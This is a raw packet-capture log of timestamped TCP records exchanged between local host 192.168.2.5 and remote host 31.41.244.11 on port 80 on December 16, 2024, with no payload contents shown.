Dec 16, 2024 09:01:34.410195112 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.410970926 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.411005020 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.411024094 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.411045074 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.411686897 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.411740065 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.411818981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.411876917 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.412631035 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.412664890 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.412682056 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.412705898 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.413453102 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.413486004 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.413505077 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.413522959 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.414133072 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.414182901 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.414592981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.414640903 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.415033102 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.415081978 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.415136099 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.415184975 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.415924072 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.415958881 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.415977001 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.415998936 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.416815996 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.416848898 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.416879892 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.416896105 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.417661905 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.417695999 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.417712927 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.417737961 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.418281078 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.418332100 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.418411016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.418461084 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.419229984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.419264078 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.419276953 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.419301987 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.420044899 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.420078993 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.420097113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.420118093 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.420948029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.420981884 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.420998096 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.421022892 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.421705008 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.421737909 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.421752930 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.421782970 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.422554970 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.422606945 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.422727108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.422772884 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.423537016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.423572063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.423583031 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.423614979 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.424218893 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.424252033 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.424269915 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.424290895 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.425208092 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.425241947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.425260067 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.425283909 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.425858021 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.425908089 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.425961971 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.426012039 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.426563978 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.426613092 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.426707983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.426744938 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.427531004 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.427565098 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.427582026 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.427608013 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.428328991 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.428364038 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.428380966 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.428405046 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.429140091 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.429191113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.429191113 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.429243088 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.429913998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.429969072 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.429977894 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.430026054 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.430820942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.430854082 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.430867910 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.430882931 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.431503057 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.431552887 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.431910038 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.431957006 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.432353020 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.432403088 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.432473898 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.432523012 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.433316946 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.433351040 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.433368921 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.433399916 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.434159994 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.434207916 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.434431076 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.434475899 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.434921026 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.434954882 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.434971094 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.434997082 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.435710907 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.435760021 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.435828924 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.435874939 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.436583042 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.436634064 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.436638117 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.436691046 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.437412024 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.437444925 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.437472105 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.437491894 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.438297987 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.438332081 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.438349962 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.438374043 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.438968897 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.439023972 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.439160109 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.439208984 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.439877033 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.439909935 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.439929008 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.439950943 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.440646887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.440702915 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.440742970 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.440784931 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.441561937 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.441596031 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.441611052 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.441638947 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.442336082 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.442369938 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.442388058 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.442414045 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.445430040 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.445483923 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.445637941 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.445682049 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.445744038 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.445776939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.445785999 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.445818901 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.446479082 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.446527004 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.446588039 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.446634054 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.447361946 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.447408915 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.594306946 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.594389915 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.594436884 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.594475985 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.594785929 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.594799995 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.594832897 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.594846010 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.595500946 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.595550060 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.596134901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.596172094 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.596375942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.596426964 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.596448898 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.596491098 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.597194910 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.597232103 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.597269058 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.597312927 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.598112106 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.598124981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.598155022 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.598176003 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.598824024 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.598944902 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.599356890 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.599402905 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.599612951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.599653959 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.599843025 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.599881887 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.600584030 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.600603104 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.600625038 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.600636959 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.601402044 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.601413965 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.601444960 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.601466894 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.602296114 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.602308989 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.602339029 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.602421045 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.602962017 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.603002071 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.603038073 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.603077888 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.603827000 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.603873014 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.603940964 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.603981018 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.604638100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.604681015 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.604918003 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.604959011 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.605555058 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.605567932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.605607033 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.605623007 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.606283903 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.606327057 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.606393099 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.606443882 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.607223988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.607237101 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.607269049 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.607284069 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.607960939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.608011961 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.608326912 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.608371973 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.608864069 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.608876944 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.608912945 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.608936071 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.609616041 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.609628916 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.609667063 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.609679937 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.610486984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.610498905 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.610541105 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.610554934 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.611249924 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.611289978 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.611334085 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.611383915 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.612096071 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.612113953 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.612154961 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.612154961 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.612931967 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.612981081 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.613267899 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.613310099 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.613799095 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.613811016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.613848925 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.614614010 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.614626884 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.614660978 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.614691973 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.615535975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.615581989 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.615597010 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.615641117 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.616260052 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.616272926 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.616302013 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.616318941 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.616990089 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.617044926 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.617057085 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.617100954 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.617913961 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.617925882 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.617953062 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.617973089 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.618745089 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.618757963 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.618803024 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.618820906 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.619580984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.619594097 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.619627953 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.619642973 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.620328903 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.620369911 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.620486975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.620533943 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.621334076 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.621382952 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.621553898 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.621598005 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.622358084 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.622370005 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.622411013 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.622431040 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.623210907 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.623224020 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.623255014 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.623274088 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.623823881 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.623855114 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.623867989 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.623895884 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.624475956 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.624521971 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.624587059 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.624630928 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.625412941 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.625459909 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.625539064 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.625583887 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.626246929 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.626260042 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.626291990 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.626307964 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.627012014 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.627023935 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.627063990 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.627084017 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.627840042 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.627851963 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.627885103 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.627899885 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.628608942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.628657103 CET	49866	80	192.168.2.5	31.41.244.11
